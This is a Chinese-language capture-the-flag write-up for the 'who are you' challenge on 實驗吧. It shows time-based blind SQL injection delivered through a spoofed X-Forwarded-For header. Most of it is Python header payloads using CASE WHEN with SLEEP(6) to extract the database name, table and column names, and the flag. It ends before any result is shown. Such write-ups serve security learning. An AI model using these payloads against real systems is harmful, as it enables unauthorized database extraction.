實驗吧-who are you解題（時間盲注）

打開連接，展現內容以下所示：

分析：首先想到這多是要僞造ip的題目，而後利用僞造IP的HTTP頭（例如：X-Forwarded-For等）。burp中成功進行僞造，以下圖所示：

響應結果：

發現能夠成功進行僞造，可是這些sql語句好像字符串化了，看起來並不具備判斷性，接下來怎麼辦呢？

時間型的盲注？！

利用select case when() then end語句，根據響應時間的差別判斷數據庫長度，數據庫表名，列名等，盲注語句以下所示：

# length of database
        # header = {"X-Forwarded-For":"'+(select case when(select(length(database()))>%s) then 0 else sleep(6) end) and 'a'='a" % i}
        # name of database
        # header = {"X-Forwarded-For": "'+(select case when (substring((select database()) from %s for 1)='%s') then sleep(6) else 0 end) and 'a'='a" % (i,j)}
        # length of table
        # header = {"X-Forwarded-For": "'+(select case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end) and 'a'='a" % i}
        # name of table
        # header = {"X-Forwarded-For": "'+(select case when(substring((select group_concat(table_name separator ';')"
        #                              " from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(6) else 0 end) and 'a'='a" % (
        #                              i, j)}
        # length of column
        # header = {
        #     "X-Forwarded-For": "'+(select case when(substring((select group_concat(column_name separator ';') "
        #                        "from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='') "
        #                        "then sleep(6) else 0 end) and 'a'='a" % i}
        # name of column
        # header = {"X-Forwarded-For": "'+(select case when(substring((select group_concat(column_name separator ';')"
        #                              " from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='%s') then sleep(6) else 0 end) and 'a'='a" % (
        #                                  i, j)}
        # length of flag
        # header = {
        #     "X-Forwarded-For": "'+(select case when(substring((select group_concat(flag separator ';') "
        #                        "from flag) from %s for 1)='') then sleep(6) else 0 end) and 'a'='a" % i}
        # name of flag
        header = {
            "X-Forwarded-For": "'+(select case when(substring((select group_concat(flag separator ';') "
                               "from flag) from %s for 1)='%s') then sleep(6) else 0 end) and 'a'='a" % (i, j)}

結果以下: